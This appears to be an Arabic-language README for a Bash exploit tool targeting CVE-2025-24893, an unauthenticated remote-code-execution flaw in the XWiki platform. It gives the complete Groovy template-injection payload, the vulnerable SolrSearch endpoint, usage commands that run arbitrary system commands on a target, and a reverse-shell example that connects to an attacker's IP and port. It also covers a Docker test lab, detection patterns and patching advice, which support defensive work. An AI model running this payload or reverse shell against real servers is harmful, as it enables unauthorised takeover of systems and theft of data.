0xdtc/xwiki-platform-rce-cve-2025-24893استغلال Bash لـ CVE-2025-24893، وهو ثغرة تنفيذ كود عن بعد غير مصادق عليها في XWiki Platform عبر حقن القالب في ماكرو SolrSearch.
هذا النص البرمجي هو تنفيذ مُحسَّن بلغة Bash لاستغلال الثغرة الأمنية التي تؤثر على إصدارات منصة XWiki المتأثرة بـ CVE-2025-24893. يستغل ثغرة تنفيذ أوامر عن بُعد خطيرة غير مصادق عليها تسمح للمهاجمين بتنفيذ كود Groovy عشوائي من خلال خلل في حقن القالب (Template Injection) في ماكرو SolrSearch.
تم إنشاء تطبيقات الاستغلال الأصلية بلغة Python من قبل باحثين أمنيين مختلفين، وتم تكييفها هنا لمستخدمي Bash مع تبسيط في التنفيذ وتحسين سهولة الاستخدام.
text عند الوصول إليه عبر نقطة نهاية RSS للوسائط، مما يسمح للمهاجمين بحقن كود Groovy خبيث في مسار العرض دون مصادقة.curl: لإرسال طلبات HTTP.jq: لتشفير الحمولة بعنوان URL.امنح صلاحيات التنفيذ:
chmod +x CVE-2025-24893
قم بتشغيل النص البرمجي مع الوسائط المطلوبة:
./CVE-2025-24893 <target_url> <command>
| المعامل | الوصف |
|---|---|
<target_url> | عنوان URL لمنصة XWiki الهدف (مثال: http://example.com أو https://xwiki.example.org). البروتوكول اختياري. |
<command> | أمر النظام المراد تنفيذه على الخادم الهدف. |
التحقق من قابلية استغلال الهدف (تنفيذ أمر id):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
استرجاع معلومات النظام:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
إنشاء ملف اختبار:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
**
**قذيفة عكسية (استبدل بعنوان IP والمنفذ الخاصين بك):**
```bash
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
تحليل وسائط سطر الأوامر:
http:// إذا لم يتم تحديد بروتوكول.بناء الحمولة:
.execute().}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}تشفير URL:
jq لنقلها بشكل صحيح عبر HTTP.الاستغلال:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<encoded_payload>تعمل سلسلة الاستغلال على النحو التالي:
}}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
}}} - يغلق أي سياق ماكرو موجود{{async async=false}} - يضمن التنفيذ المتزامن{{groovy}}...{{/groovy}} - يلف كود Groovy الخبيث'<command>'.execute(); - ينفذ أمر النظام المحددلأغراض الاختبار، يمكنك إعداد مثيل XWiki معرض للخطر باستخدام Docker:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# انتظر حتى يبدأ XWiki (قد يستغرق 1-2 دقيقة)
./CVE-2025-24893 http://localhost:8080 "whoami"
يسمح الاستغلال الناجح لهذه الثغرة الأمنية لمهاجم غير مصادق بما يلي:
وفقًا لـ CISA وعدة بائعين أمنيين:
راقب الطلبات المشبوهة إلى نقطة نهاية SolrSearch:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
ابحث عن الأنماط التي تحتوي على:
{{groovy}}{{async}}.execute()/tmp أو أدلة قابلة للكتابة أخرىترقية XWiki إلى إصدار مصحح:
تطبيق حلول مؤقتة (إذا لم يكن التصحيح الفوري ممكنًا):
مراقبة الاختراق:
هذا النص البرمجي مخصص لأغراض تعليمية فقط. الاستخدام غير المصرح به لهذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها غير قانوني وغير أخلاقي. استخدم بمسؤولية.
يجب أن يكون لديك إذن كتابي صريح من مالك النظام قبل الاختبار.
المؤلف (المؤلفون) لهذه الأداة غير مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا النص البرمجي. المستخدمون هم المسؤولون بالكامل عن ضمان حصولهم على التفويض المناسب والامتثال لجميع القوانين واللوائح المعمول بها.